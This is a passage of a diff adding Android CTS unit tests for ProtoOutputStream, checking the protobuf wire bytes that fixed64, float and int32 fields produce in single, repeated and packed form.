+                // 7 -> Long.MAX_VALUE
+                (byte)0x39,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x09,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x11,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x19,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x21,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x29,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x31,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x39,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(long[] val) throws Exception {
+        final int fieldId = 101;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_FIXED64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.fixed64FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.fixed64FieldRepeated);
+        assertEquals(val.length, readback.fixed64FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.fixed64FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedFixed64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFixed64.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedFixed64(ProtoOutputStream po, int fieldId, long val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED64;
+        po.writePackedFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags),
+                new long[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED64;
+
+        po.writePackedFixed64(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedFixed64(ProtoOutputStream.makeFieldId(1001, fieldFlags), new long[0]);
+        writePackedFixed64(po, 1, 0);
+        writePackedFixed64(po, 2, 1);
+        writePackedFixed64(po, 3, -1);
+        writePackedFixed64(po, 4, Integer.MIN_VALUE);
+        writePackedFixed64(po, 5, Integer.MAX_VALUE);
+        writePackedFixed64(po, 6, Long.MIN_VALUE);
+        writePackedFixed64(po, 7, Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x10,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x10,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x22,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2a,
+                (byte)0x10,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x32,
+                (byte)0x10,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x80,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x3a,
+                (byte)0x10,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[] {});
+        testPackedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedFixed64Compat with a given value.
+     */
+    public void testPackedCompat(long[] val) throws Exception {
+        final int fieldId = 102;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.fixed64FieldPacked = val;
+        po.writePackedFixed64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.fixed64FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FIXED64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedFixed64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FIXED64),
+                    new long[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFloatTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFloatTest.java
new file mode 100644
index 0000000..99a720d
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamFloatTest.java
@@ -0,0 +1,479 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the float methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamFloatTest extends TestCase {
+
+    /**
+     * Compare if the values are identical (including handling for matching isNaN).
+     */
+    public void assertEquals(float expected, float actual) {
+        if (Float.isNaN(expected)) {
+            if (!Float.isNaN(actual)) {
+                throw new RuntimeException("expected NaN, actual " + actual);
+            }
+        } else {
+            if (expected != actual) {
+                throw new RuntimeException("expected " + expected + ", actual " + actual);
+            }
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeFloat
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFloat.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FLOAT;
+
+        po.writeFloat(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeFloat(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeFloat(ProtoOutputStream.makeFieldId(3, fieldFlags), -1234.432f);
+        po.writeFloat(ProtoOutputStream.makeFieldId(4, fieldFlags), 42.42f);
+        po.writeFloat(ProtoOutputStream.makeFieldId(5, fieldFlags), Float.MIN_NORMAL);
+        po.writeFloat(ProtoOutputStream.makeFieldId(6, fieldFlags), Float.MIN_VALUE);
+        po.writeFloat(ProtoOutputStream.makeFieldId(7, fieldFlags), Float.NEGATIVE_INFINITY);
+        po.writeFloat(ProtoOutputStream.makeFieldId(8, fieldFlags), Float.NaN);
+        po.writeFloat(ProtoOutputStream.makeFieldId(9, fieldFlags), Float.POSITIVE_INFINITY);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x1d,
+                (byte)0xd3, (byte)0x4d, (byte)0x9a, (byte)0xc4,
+                // 4 -> 42.42
+                (byte)0x25,
+                (byte)0x14, (byte)0xae, (byte)0x29, (byte)0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte)0x2d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x35,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte)0x3d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0xff,
+                // 8 -> Float.NaN
+                (byte)0x45,
+                (byte)0x00, (byte)0x00, (byte)0xc0, (byte)0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte)0x4d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x7f,
+
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1234.432f);
+        testWriteCompat(42.42f);
+        testWriteCompat(Float.MIN_NORMAL);
+        testWriteCompat(Float.MIN_VALUE);
+        testWriteCompat(Float.NEGATIVE_INFINITY);
+        testWriteCompat(Float.NaN);
+        testWriteCompat(Float.POSITIVE_INFINITY);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(float val) throws Exception {
+        final int fieldId = 20;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FLOAT;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.floatField = val;
+        po.writeFloat(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.floatField);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedFloat
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFloat.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_FLOAT;
+
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(3, fieldFlags), -1234.432f);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(4, fieldFlags), 42.42f);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(5, fieldFlags), Float.MIN_NORMAL);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(6, fieldFlags), Float.MIN_VALUE);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(7, fieldFlags), Float.NEGATIVE_INFINITY);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(8, fieldFlags), Float.NaN);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(9, fieldFlags), Float.POSITIVE_INFINITY);
+
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(3, fieldFlags), -1234.432f);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(4, fieldFlags), 42.42f);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(5, fieldFlags), Float.MIN_NORMAL);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(6, fieldFlags), Float.MIN_VALUE);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(7, fieldFlags), Float.NEGATIVE_INFINITY);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(8, fieldFlags), Float.NaN);
+        po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(9, fieldFlags), Float.POSITIVE_INFINITY);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0d,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x1d,
+                (byte)0xd3, (byte)0x4d, (byte)0x9a, (byte)0xc4,
+                // 4 -> 42.42
+                (byte)0x25,
+                (byte)0x14, (byte)0xae, (byte)0x29, (byte)0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte)0x2d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x35,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte)0x3d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0xff,
+                // 8 -> Float.NaN
+                (byte)0x45,
+                (byte)0x00, (byte)0x00, (byte)0xc0, (byte)0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte)0x4d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0d,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x15,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x1d,
+                (byte)0xd3, (byte)0x4d, (byte)0x9a, (byte)0xc4,
+                // 4 -> 42.42
+                (byte)0x25,
+                (byte)0x14, (byte)0xae, (byte)0x29, (byte)0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte)0x2d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x35,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte)0x3d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0xff,
+                // 8 -> Float.NaN
+                (byte)0x45,
+                (byte)0x00, (byte)0x00, (byte)0xc0, (byte)0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte)0x4d,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new float[0]);
+        testRepeatedCompat(new float[] { 0, 1, -1234.432f, 42.42f,
+                    Float.MIN_NORMAL, Float.MIN_VALUE, Float.NEGATIVE_INFINITY, Float.NaN,
+                    Float.POSITIVE_INFINITY,
+                });
+        }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(float[] val) throws Exception {
+        final int fieldId = 21;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_FLOAT;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.floatFieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.floatFieldRepeated);
+        assertEquals(val.length, readback.floatFieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.floatFieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedFloat
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeFloat.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedFloat(ProtoOutputStream po, int fieldId, float val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FLOAT;
+        po.writePackedFloat(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new float[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FLOAT;
+
+        po.writePackedFloat(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedFloat(ProtoOutputStream.makeFieldId(1001, fieldFlags), new float[0]);
+        writePackedFloat(po, 1, 0);
+        writePackedFloat(po, 2, 1);
+        writePackedFloat(po, 3, -1234.432f);
+        writePackedFloat(po, 4, 42.42f);
+        writePackedFloat(po, 5, Float.MIN_NORMAL);
+        writePackedFloat(po, 6, Float.MIN_VALUE);
+        writePackedFloat(po, 7, Float.NEGATIVE_INFINITY);
+        writePackedFloat(po, 8, Float.NaN);
+        writePackedFloat(po, 9, Float.POSITIVE_INFINITY);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x3f,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x3f,
+                // 3 -> -1234.432
+                (byte)0x1a,
+                (byte)0x08,
+                (byte)0xd3, (byte)0x4d, (byte)0x9a, (byte)0xc4,
+                (byte)0xd3, (byte)0x4d, (byte)0x9a, (byte)0xc4,
+                // 4 -> 42.42
+                (byte)0x22,
+                (byte)0x08,
+                (byte)0x14, (byte)0xae, (byte)0x29, (byte)0x42,
+                (byte)0x14, (byte)0xae, (byte)0x29, (byte)0x42,
+                // 5 -> Float.MIN_NORMAL
+                (byte)0x2a,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x00,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x00,
+                // 6 -> DOUBLE.MIN_VALUE
+                (byte)0x32,
+                (byte)0x08,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                (byte)0x01, (byte)0x00, (byte)0x00, (byte)0x00,
+                // 7 -> Float.NEGATIVE_INFINITY
+                (byte)0x3a,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0xff,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0xff,
+                // 8 -> Float.NaN
+                (byte)0x42,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0xc0, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0xc0, (byte)0x7f,
+                // 9 -> Float.POSITIVE_INFINITY
+                (byte)0x4a,
+                (byte)0x08,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x7f,
+                (byte)0x00, (byte)0x00, (byte)0x80, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new float[] {});
+        testPackedCompat(new float[] { 0, 1, -1234.432f, 42.42f,
+                    Float.MIN_NORMAL, Float.MIN_VALUE, Float.NEGATIVE_INFINITY, Float.NaN,
+                    Float.POSITIVE_INFINITY,
+                });
+        }
+
+    /**
+     * Implementation of testPackedFloatCompat with a given value.
+     */
+    public void testPackedCompat(float[] val) throws Exception {
+        final int fieldId = 22;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FLOAT;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.floatFieldPacked = val;
+        po.writePackedFloat(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.floatFieldPacked);
+        assertEquals(val.length, readback.floatFieldPacked.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.floatFieldPacked[i]);
+        }
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeFloat(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeFloat(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FLOAT), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedFloat(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_FLOAT), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedFloat(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new float[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedFloat(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_FLOAT),
+                    new float[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamInt32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamInt32Test.java
new file mode 100644
index 0000000..e2b000f
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamInt32Test.java
@@ -0,0 +1,393 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
